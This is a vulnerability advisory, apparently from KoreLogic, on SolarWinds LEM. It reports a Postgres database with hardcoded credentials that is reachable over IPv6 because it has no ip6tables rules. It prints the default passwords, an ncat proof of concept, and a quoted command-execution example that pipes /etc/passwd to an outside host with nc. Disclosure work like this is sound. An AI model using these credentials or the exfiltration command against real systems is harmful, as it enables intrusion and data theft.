Solarwinds LEM Database Listener with Hardcoded Credentials

Vulnerability Description

The Postgres database has default hardcoded credentials. While some security measures were taken to ensure that network connectivity to the Postgres database wouldn’t be possible using IPv4, the same measures were not taken for IPv6.

Technical Description

Reviewing netstat for listening services shows that the postgres service is bound to both IPv4 and IPv6 interfaces.

--(0)-[1.3.3.8]-[6.3.1]-[root@swi-lem]--
/ # netstat -apn|grep postgres
tcp        0      0 0.0.0.0:5432            0.0.0.0:*               LISTEN      949/postgres
tcp6       0      0 :::5432                 :::*                    LISTEN      949/postgres
udp        0      0 127.0.0.1:58654         127.0.0.1:58654         ESTABLISHED 949/postgres
unix  2      [ ACC ]     STREAM     LISTENING     4622     949/postgres        /var/run/postgresql/.s.PGSQL.5432

An iptables REJECT entry exists for IPv4. This prevents remote network connectivity.

--(0)-[1.3.3.8]-[6.3.1]-[root@swi-lem]--
/ # iptables -L|grep postgres
REJECT     tcp  --  anywhere            !localhost           tcp dpt:postgresql reject-with icmp-port-unreachable

However, there are no entries in the ip6tables at all, and the default policy is ACCEPT.

--(1)-[1.3.3.8]-[6.3.1]-[root@swi-lem]--
/ # ip6tables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Additionally, two accounts exist with default and simple credentials.

--(0)-[1.3.3.8]-[6.3.1]-[root@swi-lem]--
/ # head -n 5 /usr/local/contego/scripts/database/pgsql/flow.sql
CREATE ROLE trigeo      WITH CREATEDB LOGIN PASSWORD 'rootme';
CREATE ROLE contego     WITH CREATEDB LOGIN PASSWORD 'reports';

CREATE DATABASE alertdb WITH OWNER trigeo;
ALTER DATABASE alertdb OWNER TO trigeo;

No further testing was conducted against the Postgres service. However, the following may be possible.

1. Connect to Postgres using hardcoded credentials over IPv6.

2. Run CREATE OR REPLACE FUNCTION which ties to system() in libc.so.6.

  Example: CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS /lib/libc.so.6, system LANGUAGE C STRICT;  privSELECT system(cat /etc/passwd | nc 1.3.3.6 8080);
  Example credit: http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet

3. Run system() calls to run commands on the underlying operating system as the postgres user.

Mitigation and Remediation Recommendation

The vendor has released a Hotfix to remediate this vulnerability. Hotfix and installation instructions are available at:

https://thwack.solarwinds.com/thread/111223

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. and Joshua Hardin.

Proof of Concept

swi-lem$ ifconfig
eth0      Link encap:Ethernet  HWaddr 52:54:00:12:34:56
          inet addr:192.168.53.76  Bcast:192.168.53.255  Mask:255.255.255.0
          inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:681 errors:320 dropped:0 overruns:0 frame:320
          TX packets:513 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:82845 (80.9 KiB)  TX bytes:59151 (57.7 KiB)

sploit$ ncat -4 192.168.53.76 5432
Ncat: Connection refused.

sploit$ ncat -6 -v fe80::5054:ff:fe12:3456%br0 5432
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Connected to fe80::5054:ff:fe12:3456:5432.

The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt